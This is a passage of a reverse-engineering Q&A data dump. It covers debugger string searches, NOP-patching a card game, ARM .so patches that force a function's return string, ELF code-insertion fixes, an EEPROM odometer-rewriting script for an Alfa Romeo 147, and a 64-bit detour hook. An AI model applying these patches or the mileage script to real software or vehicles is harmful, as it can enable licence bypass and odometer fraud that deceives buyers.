noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2OO8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes it harder to actually find it in the CPU view and I can't find how to work with this on the internet or how to change it so it will be like in the video?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I continue from here and how can I find the dump text reference in the code?&lt;/p&gt;&#xA;" OwnerUserId="28682" LastEditorUserId="245" LastEditDate="2019-06-19T10:55:57.787" LastActivityDate="2019-06-19T13:22:33.207" Title="ASCII strings not showing up in CPU in OllyDbg, but rather in dump" Tags="|windows|assembly|debugging|c#|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21467" PostTypeId="2" ParentId="21464" CreationDate="2019-06-11T15:49:40.437" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;i searching for the string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Presumably &quot;&lt;code&gt;fffaaarrriiiddd&lt;/code&gt;.&quot; So we find ourselves at &lt;code&gt;0x401538&lt;/code&gt;, where the string is referenced.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;there are 2-3 call functions near the string location...&#xA;  is is there a way to know what those function do? is it print function&#xA;  or maybe other function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first call after &lt;code&gt;0x401538&lt;/code&gt;, which is at &lt;code&gt;0x40154b&lt;/code&gt; and calls to &lt;code&gt;0x46ec30&lt;/code&gt; is the print function. We know this because it gets the string as an argument (see &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/x64-software-conventions?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64 calling convention&lt;/a&gt;) and because the call is followed by the struct accesses, as we would expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second call after &lt;code&gt;0x401538&lt;/code&gt; is correctly identified as a call to &lt;code&gt;getch&lt;/code&gt; (or possibly a wrapper function that &lt;code&gt;jmp&lt;/code&gt;'s to the imported DLL function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call before &lt;code&gt;0x401538&lt;/code&gt;, which is at &lt;code&gt;0x401538&lt;/code&gt; and calls to &lt;code&gt;0x40e760&lt;/code&gt;, is less obvious. Because it is part of &lt;code&gt;main&lt;/code&gt; but precedes the print function, which is the first call we expect based on the known functionality of &lt;code&gt;main&lt;/code&gt;, I suspect it is just some sort of convention with which I am unfamiliar. Look at the disassembly at &lt;code&gt;0x40e760&lt;/code&gt;. What does that function do? Try compiling a binary with a no/different functionality. Is there always a call in &lt;code&gt;main&lt;/code&gt; after the stack setup? Or are there always two calls for &lt;code&gt;cout&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="23306" LastEditorUserId="23306" LastEditDate="2019-06-11T16:14:54.780" LastActivityDate="2019-06-11T16:14:54.780" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="21468" PostTypeId="2" ParentId="21464" CreationDate="2019-06-11T16:02:26.673" Score="0" Body="&lt;p&gt;First and easy way is to open the resulting executable in &lt;code&gt;IDA&lt;/code&gt; which will just show you the function names for library functions.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z51IZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z51IZ.png&quot; alt=&quot;IDA_analysis&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other still easy way is to just breakpoint before these function calls, step over these functions and observe the console output. You should be able to find at least &lt;code&gt;cout&lt;/code&gt; this way. To do this in &lt;code&gt;x64dbg&lt;/code&gt;, set up the breakpoint in the &lt;code&gt;main&lt;/code&gt; function and keep clicking &lt;code&gt;Run&lt;/code&gt; until you see it highlighted this way (that is &lt;code&gt;EIP&lt;/code&gt; blue arrow in the same line as your breakpoint):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NXzjU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NXzjU.png&quot; alt=&quot;x64dbgBreakpoint&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, keep clicking &lt;code&gt;Step over&lt;/code&gt; until &lt;code&gt;EIP&lt;/code&gt; is pointing on the first function call. Look at the console and click &lt;code&gt;Step over&lt;/code&gt; once again. You should see that nothing happened there. Do the same thing with the subsequent function and after stepping over it, you will see the string being printed in the console.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-11T16:48:18.667" LastActivityDate="2019-06-11T16:48:18.667" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21472" PostTypeId="1" CreationDate="2019-06-12T04:21:51.517" Score="1" ViewCount="74" Body="&lt;p&gt;I'm trying to make this Hearts game so that i can select more than 3 cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the func that will compare how many cards i've chosen with 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i04Ig.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i04Ig.png&quot; alt=&quot;1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it'll jump to this address if &gt; 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kIdAs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kIdAs.png&quot; alt=&quot;2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i replace the jump with NOP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gws2h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gws2h.png&quot; alt=&quot;3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i can select cards more than 3, but when i trying to pass the cards, there's msg showing, i can't pass the cards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what am i missing ? I guess when we click the arrow button it'll compare the value again with 3, am i right?&lt;/p&gt;&#xA;" OwnerUserId="28660" LastEditorUserId="28660" LastEditDate="2019-06-12T17:56:29.733" LastActivityDate="2019-06-12T17:56:29.733" Title="Hearts Game Passing Cards" Tags="|ollydbg|x64dbg|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21473" PostTypeId="1" CreationDate="2019-06-12T20:47:56.753" Score="1" ViewCount="697" Body="&lt;p&gt;I am trying to figure out how to solve the following. I have two ARM .SO libraries (32 bit and 64 bit) with the same functions. There is a method which returns const char* , it looks like this in ARM32:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0006F264                 PUSH            {LR}&#xA;.text:0006F266                 SUB             SP, SP, #0xC&#xA;.text:0006F268                 STR             R0, [SP,#0x10+var_C]&#xA;.text:0006F26A                 LDR             R3, =(dword_9A030 - 0x6F270)&#xA;.text:0006F26C                 ADD             R3, PC  ; dword_9A030&#xA;.text:0006F26E                 LDR.W           R3, [R3,#(dword_9A250 - 0x9A030)]&#xA;.text:0006F272                 LDR             R0, [SP,#0x10+var_C]&#xA;.text:0006F274                 BLX             R3&#xA;.text:0006F276                 MOV             R3, R0&#xA;.text:0006F278                 NOP&#xA;.text:0006F27A                 MOV             R0, R3&#xA;.text:0006F27C                 ADD             SP, SP, #0xC&#xA;.text:0006F27E                 LDR.W           PC, [SP+4+var_4],#4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here in ARM64:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000000000079CAC                 SUB             SP, SP, #0x20&#xA;.text:0000000000079CB0                 STR             X30, [SP,#0x20+var_20]&#xA;.text:0000000000079CB4                 STR             X0, [SP,#0x20+var_8]&#xA;.text:0000000000079CB8                 ADRP            X0, #dword_DE080@PAGE&#xA;.text:0000000000079CBC                 ADD             X0, X0, #dword_DE080@PAGEOFF&#xA;.text:0000000000079CC0                 LDR             X1, [X0,#(qword_DE4C0 - 0xDE080)]&#xA;.text:0000000000079CC4                 LDR             X0, [SP,#0x20+var_8]&#xA;.text:0000000000079CC8                 BLR             X1&#xA;.text:0000000000079CCC                 NOP&#xA;.text:0000000000079CD0                 LDR             X30, [SP,#0x20+var_20]&#xA;.text:0000000000079CD4                 ADD             SP, SP, #0x20&#xA;.text:0000000000079CD8                 RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the ASM code of a function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const char* GetStatus ( const DetailsHandle obj )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function can return one of 3 string values &quot;abcd&quot;, &quot;kowewqzb&quot;, or &quot;jvbrnbfghert&quot; (as char*). I want it to return always &quot;kowewqzb&quot; regardless of the call happening within this function, which leads to an entire bunch of dynamically loaded functions. So how could I:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) write the code for making it always return the address of &quot;kowewqzb&quot; (which needs to be put somewhere into memory first) and don't do any other calls (so basically the entire instruction set besides of SP manipulations could be replaced with other instructions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) if there is not enough space for making it work directly there, how could I inject some new code without destroying existing code, are there any suitable places for that in the .SO library? E.g. putting BL to some unused areas (how to get them?) and having there further code pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally if this could be outlined for both ARM32 and ARM64 I'd be more than happy. Huge thanks in advance!!!&lt;/p&gt;&#xA;" OwnerUserId="28704" LastActivityDate="2019-06-14T06:44:03.263" Title="How to inject some code to ARM .so files permanently?" Tags="|arm|injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21476" PostTypeId="2" ParentId="21473" CreationDate="2019-06-13T10:50:05.237" Score="2" Body="&lt;p&gt;As I understand, you want to replace the function with code such that it returns a pointer to the ASCII string &quot;kowewqzb&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the function in question is quite long you have sufficient space to write an inline patch both for ARM32 and ARM64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;ARM32&lt;/strong&gt;, you can use the following piece of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.global main&#xA;.text&#xA;.thumb_func&#xA;&#xA;main:&#xA;adr r0, str&#xA;bx lr&#xA;&#xA;str:&#xA;.asciz &quot;kowewqzb&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this is 16-bit Thumb code instead of 32-bit ARM as even the disassembly you posted uses Thumb instructions. After assembling and &lt;code&gt;objdump&lt;/code&gt; this yields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ arm-linux-gnueabi-objdump -d arm32.o&#xA;&#xA;arm32.o:     file format elf32-littlearm&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;00000000 &amp;lt;main&amp;gt;:&#xA;   0:   a000        add r0, pc, #0  ; (adr r0, 4 &amp;lt;str&amp;gt;)&#xA;   2:   4770        bx  lr&#xA;&#xA;00000004 &amp;lt;str&amp;gt;:&#xA;   4:   65776f6b    .word   0x65776f6b&#xA;   8:   627a7177    .word   0x627a7177&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;ARM64&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.global main&#xA;.text    &#xA;main:&#xA;adr x0, str&#xA;ret&#xA;&#xA;str:&#xA;.asciz &quot;kowewqzb&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which yields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ aarch64-linux-gnu-objdump -d aarch64.o&#xA;&#xA;aarch64.o:     file format elf64-littleaarch64&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;0000000000000000 &amp;lt;main&amp;gt;:&#xA;   0:   10000040        adr     x0, 8 &amp;lt;str&amp;gt;&#xA;   4:   d65f03c0        ret&#xA;&#xA;0000000000000008 &amp;lt;str&amp;gt;:&#xA;   8:   65776f6b        .word   0x65776f6b&#xA;   c:   627a7177        .word   0x627a7177&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, be sure to add a zero byte at the end to make it a proper null terminated ASCII string.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As said below in the comments you &lt;strong&gt;do not need to edit&lt;/strong&gt; &lt;code&gt;.rodata&lt;/code&gt; or any other section in the binary. The string is included as a part of the code bytes with which you are going to overwrite the &lt;code&gt;GetStatus&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for ARM 32, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main:&#xA;adr r0, str&#xA;bx lr&#xA;&#xA;str:&#xA;.asciz &quot;kowewqzb&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;adr r0, str&lt;/code&gt; instruction loads the address of string which is immediately located after it. The &lt;code&gt;adr&lt;/code&gt; instruction is actually a pseudo-instruction and  assembles to &lt;code&gt;add r0, pc, #0&lt;/code&gt;. It calculates the address of the string by adding &lt;code&gt;0&lt;/code&gt; to the current Program Counter (&lt;code&gt;PC&lt;/code&gt;). In ARM, the &lt;code&gt;PC&lt;/code&gt; always points to two instructions ahead of the currently executing instruction. That's why we add &lt;code&gt;0&lt;/code&gt; since it already points to &lt;code&gt;str&lt;/code&gt; when executing the &lt;code&gt;adr r0, str&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obtaining the address of the string this way is called &lt;code&gt;PC&lt;/code&gt; relative addressing. This makes it possible to avoid hard coding the address of the string in the patched code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this &lt;a href=&quot;https://azm.azerialabs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;online arm assembler&lt;/a&gt; to see the bytes corresponding to the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8aZCW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8aZCW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to overwrite the function with the bytes shown on the left panel. No other modifications are necessary.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2019-06-14T06:44:03.263" LastActivityDate="2019-06-14T06:44:03.263" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="21477" PostTypeId="1" CreationDate="2019-06-13T13:55:07.880" Score="1" ViewCount="797" Body="&lt;p&gt;I have an exe file and it will browse the xml, or txt files to display this exe file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the characters only display the exact language of that country when I switch the language of the computer to a certain fixed locale (eg locale chinese simplified &quot;gb2132&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for me to interfere with these character encodings through reverse engineering, so this exe file can browse unicode characters instead of having to switch the computer's locale?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the file.&#xA;&lt;a href=&quot;https://drive.google.com/open?id=1nU9Wz0DIsGjPz2ebzEmfkqaIYxBE5b7_&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1nU9Wz0DIsGjPz2ebzEmfkqaIYxBE5b7_&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tqcPH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tqcPH.png&quot; alt=&quot;encoding issue&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24918" LastActivityDate="2019-06-14T09:47:35.363" Title="Is there any way to change the encoding of an exe file?" Tags="|unpacking|encodings|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21478" PostTypeId="1" CreationDate="2019-06-12T19:37:29.960" Score="0" ViewCount="141" Body="&lt;p&gt;I have received a string which is supposed to be a cryptographic signature. I have access to a certificate which should let me verify the signature. However, I am rather confused about the structure of the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting a byte string, likely base64-encoded. Instead, I received three lines, each 255 characters long, comprised of hex characters, and padded with trailing or leading zeroes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I have very little and somewhat uncertain information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Payload: &quot;Hello Crypto World&quot;&lt;/li&gt;&#xA;&lt;li&gt;Hashing Algorithm: SHA256&lt;/li&gt;&#xA;&lt;li&gt;Crypto Algorithm: RSA (not certain)&lt;/li&gt;&#xA;&lt;li&gt;PKCS7 is likely involved&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following is roughly the structure of the signature. Note that the string contains mostly random hex characters. I preserved only the length of the (non) padded sections. And I discovered that the first line contains the payload, so I preserved that part also. Since I am uncertain about this string, I don't want to risk potentially publishing a private key, that's why the rest is just random hex characters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1342120FF49C008D19FCA5208C216A8C69E11DE084442AA66B786A0F010766BE82238BEE9BAB9B9DA085E89A41BE8B660A109582F2782987780C6CEB5F85AE1D0A48656C6C6F2043727970746F20576F726C6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005518C31F61B521823A97E4995D0F4E85B432A73FC0FD098B489D2C9AC533E19BA253AF93D275D906A043975FA03B86A15D993B944DCBF135156A378163E38&#xA;042669BAF26B40FA9EDD9460D089DB1725778EB9304CA3034291C21CFB5B750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In python this is how I discovered the payload in the first line.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bytes.fromhex(line_one + &quot;0&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; b'...Hello Crypto World\x00\x00...'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it was necessary to append the line with another character (&quot;0&quot;) as the line is only 255 characters long which wouldn't translate to full bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played around with a python crypto library (&lt;code&gt;pycryptodome&lt;/code&gt;) trying to make sense of this, to no avail. I have googled, particularly regarding PKCS7, but couldn't quite make sense of this either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the same crypto library I was able to &lt;code&gt;unpad&lt;/code&gt; each line, which simply stripped away some of the trailing zeroes leaving me with only 207 instead of 255 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Questions&lt;/strong&gt;&lt;br&gt;&#xA;What kind of format is this?&lt;br&gt;&#xA;How can I turn this into or extract only the signature part (byte string, base64 string)?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help to steer me in the right direction is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28716" OwnerDisplayName="pmlk" LastEditorUserId="13506" LastEditDate="2019-06-21T17:05:15.480" LastActivityDate="2019-06-22T15:51:04.900" Title="Unknown three part signature" Tags="|cryptography|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21479" PostTypeId="2" ParentId="21390" CreationDate="2019-06-13T19:48:49.293" Score="1" Body="&lt;p&gt;&lt;strong&gt;Comment out or simply remove lines&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ehdr-&amp;gt;e_shoff += PAGE_SIZE;&#xA;&#xA;if (text_found)&#xA;{&#xA;    phdr[i].p_offset += PAGE_SIZE;&#xA;    continue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and change&lt;/strong&gt; &lt;code&gt;shdr-&amp;gt;sh_offset&lt;/code&gt;'&lt;strong&gt;s to&lt;/strong&gt; &lt;code&gt;shdr[i].sh_offset&lt;/code&gt;'&lt;strong&gt;s&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&#xA;You may run &lt;code&gt;readelf -a hello&lt;/code&gt; for more details. It will output following problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf: Error: Reading 1856 bytes extends past end of file for section headers&#xA;readelf: Error: Section headers are not available!&#xA;readelf: Warning: note with invalid namesz and/or descsz found at offset 0xc&#xA;readelf: Warning:  type: 0x600ff0, namesize: 0x00000000, descsize: 0x00150003, alignment: 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It means that your &lt;code&gt;section headers&lt;/code&gt; address was increased by &lt;code&gt;PAGE_SIZE&lt;/code&gt; too. Indeed, after modification it equals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Start of section headers:          10544 (bytes into file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Start of section headers:          6448 (bytes into file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you don't want to add &lt;code&gt;PAGE_SIZE&lt;/code&gt; to &lt;code&gt;ehdr-&amp;gt;e_shoff&lt;/code&gt;, since otherwise the start of &lt;code&gt;section headers&lt;/code&gt; now points to some random data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding &lt;code&gt;phdr[i].p_offset&lt;/code&gt;'s, I don't think you have to change them at all, since they are just segment offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;GCC&lt;/code&gt; by default compiles to position independent executable, so it will have &lt;code&gt;e_type&lt;/code&gt; equal &lt;code&gt;3&lt;/code&gt; (&lt;code&gt;ET_DYN&lt;/code&gt; instead of &lt;code&gt;ET_EXEC&lt;/code&gt;), but will still be an &lt;code&gt;ELF&lt;/code&gt; executable.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-13T20:46:05.717" LastActivityDate="2019-06-13T20:46:05.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21480" PostTypeId="1" CreationDate="2019-06-13T20:23:00.717" Score="1" ViewCount="197" Body="&lt;p&gt;I'm curious in which programming language or script language is this written,&#xA;any idea? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Dashboard\Alfa Romeo\147 93C86]&#xA;&#xA;Size(280,270); // ширина и высота&#xA;&#xA;Form&#xA;{&#xA;Form {&#xA;    Group(&quot;Пробег&quot;,35,13,120,50)&#xA;    {&#xA;        Digit(Distance,&quot; &quot;,5,18,70);&#xA;        Label(lbkm,&quot;КМ&quot;,90,20);&#xA;    }&#xA;    Group(&quot;Информация&quot;,5,80,270,45) &#xA;    {&#xA;        Label(msg,&quot; &quot;,0,18);&#xA;    }    &#xA;    Group(&quot;Описание&quot;,5,130,270,90) &#xA;    {&#xA;        Label(lb1,&quot;Калькулятор пробега для Alfa Romeo 147.&quot;,0,20);&#xA;        Label(lb2,&quot;93C86 VDO 2001г.&quot;,0,35);&#xA;        Label(lb3,&quot;Введите нужное значение в окне &amp;lt;Пробег&amp;gt;.&quot;,0,50);&#xA;        Label(lb4,&quot;Нажмите кнопку &amp;lt;Применить&amp;gt;.&quot;,0,65);&#xA;    }&#xA;    // Picture(Logo,&quot;alfa.bmp&quot;,190,17,0,0);&#xA;}&#xA;&#xA;OnShow &#xA;{&#xA;    // проверка дампа&#xA;      Var0 = ((@0x001 &amp;lt;&amp;lt; 8)+@0x000;&#xA;      Var1 = ((@0x301 &amp;lt;&amp;lt; 8)+@0x300);&#xA;      if(Var0 = Var1)&#xA;       {&#xA;        Var2 = (((@0x000 &amp;lt;&amp;lt; 8)+@0x001) ^ 0xFFFF) &amp;lt;&amp;lt; 5;&#xA;        msg.Color = 0xFF0000;&#xA;        msg.Bold = 1;&#xA;        msg = &quot;Дамп ОК. Введите пробег.&quot;;&#xA;        Distance = Var2;&#xA;        }&#xA;       else&#xA;        {&#xA;        msg.Color = 0x0000FF;&#xA;        msg.Bold = 1;&#xA;        msg = &quot;Неверный дамп!&quot;;&#xA;        Distance = 0;&#xA;        } &#xA;}&#xA;&#xA;OnApply {&#xA;    Var5 = 0;&#xA;    Var2 = Distance;&#xA;    Var7 = Var2 &amp;gt;&amp;gt; 5 &amp;amp; 65535 ^ 0xFFFF;&#xA;    if(Var2 &amp;gt; 999900) {Var5 = 1;}&#xA;    if(Var2 &amp;lt; 100)   {Var5 = 1;}&#xA;    if(Var5 != 0)&#xA;    {&#xA;        msg.Color = 0x0000FF;&#xA;        msg.Bold = 1;&#xA;        msg = &quot;Пробег должен быть от 100 до 999900 км&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        Var3 = 0x00;&#xA;        while(Var3 != 0x20)&#xA;        {&#xA;&#xA;            @Var3 = Var7 &amp;gt;&amp;gt; 8 &amp;amp; 255;&#xA;            @Var3.mismatch = 1;&#xA;            Var3 = Var3 + 1;&#xA;            @Var3 = Var7 &amp;amp; 255;&#xA;            @Var3.mismatch = 1;&#xA;            Var3 = Var3 + 1;&#xA;            Var6 = Var7 * 2;&#xA;            Var7 = (Var6 &amp;gt;&amp;gt; 16 + Var6) &amp;amp; 65535;&#xA;            msg.Color = 0xFF0000;&#xA;            msg.Bold = 1;&#xA;            msg = &quot;Новый пробег записан.&quot;;&#xA;        }&#xA;        Var3 = 0x300;&#xA;        while(Var3 != 0x320)&#xA;        {&#xA;&#xA;            @Var3 = Var7 &amp;gt;&amp;gt; 8 &amp;amp; 255;&#xA;            @Var3.mismatch = 1;&#xA;            Var3 = Var3 + 1;&#xA;            @Var3 = Var7 &amp;amp; 255;&#xA;            @Var3.mismatch = 1;&#xA;            Var3 = Var3 + 1;&#xA;            Var6 = Var7 * 2;&#xA;            Var7 = (Var6 &amp;gt;&amp;gt; 16 + Var6) &amp;amp; 65535;&#xA;            msg.Color = 0xFF0000;&#xA;            msg.Bold = 1;&#xA;            msg = &quot;Новый пробег записан.&quot;;&#xA;        }&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28675" LastActivityDate="2019-06-18T15:49:54.463" Title="Can somebody recognize this programming language?" Tags="|program-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21481" PostTypeId="2" ParentId="21442" CreationDate="2019-06-14T06:32:59.247" Score="1" Body="&lt;p&gt;Your Python code executes inside IDA’s process so you are getting results of the call on IDA, not the debuggee. If you want to execute code inside the process being debugged, you can use Appcall: &lt;a href=&quot;http://www.hexblog.com/?p=113&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=113&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-06-14T06:32:59.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21482" PostTypeId="1" CreationDate="2019-06-14T08:59:47.080" Score="0" ViewCount="348" Body="&lt;p&gt;Quite new to the intels so i might not know much , I just need some form of direction here.&#xA;I am trying to do a simple 64 bit hook detour for function hooking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do it like so :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The detour hook Engine :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL JHook::SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length)&#xA;{&#xA;    LPVOID FunctionAddress;&#xA;    DWORD TrampolineLength = 0, OriginalProtection;&#xA;    hde64s disam;&#xA;    BYTE Jump[13] = { 0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xE3 };&#xA;&#xA;    FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name);&#xA;    if (!FunctionAddress)&#xA;        return FALSE;&#xA;&#xA;    //disassemble length of each instruction, until we have 5 or more bytes worth&#xA;    while (TrampolineLength &amp;lt; 5)&#xA;    {&#xA;        LPVOID InstPointer = (LPVOID)((DWORD)FunctionAddress + TrampolineLength);&#xA;        TrampolineLength += hde64_disasm(InstPointer, &amp;amp;disam);&#xA;    }&#xA;&#xA;    //Build the trampoline buffer&#xA;    memcpy(original, FunctionAddress, TrampolineLength);&#xA;    *(DWORD*)(Jump + 1) = 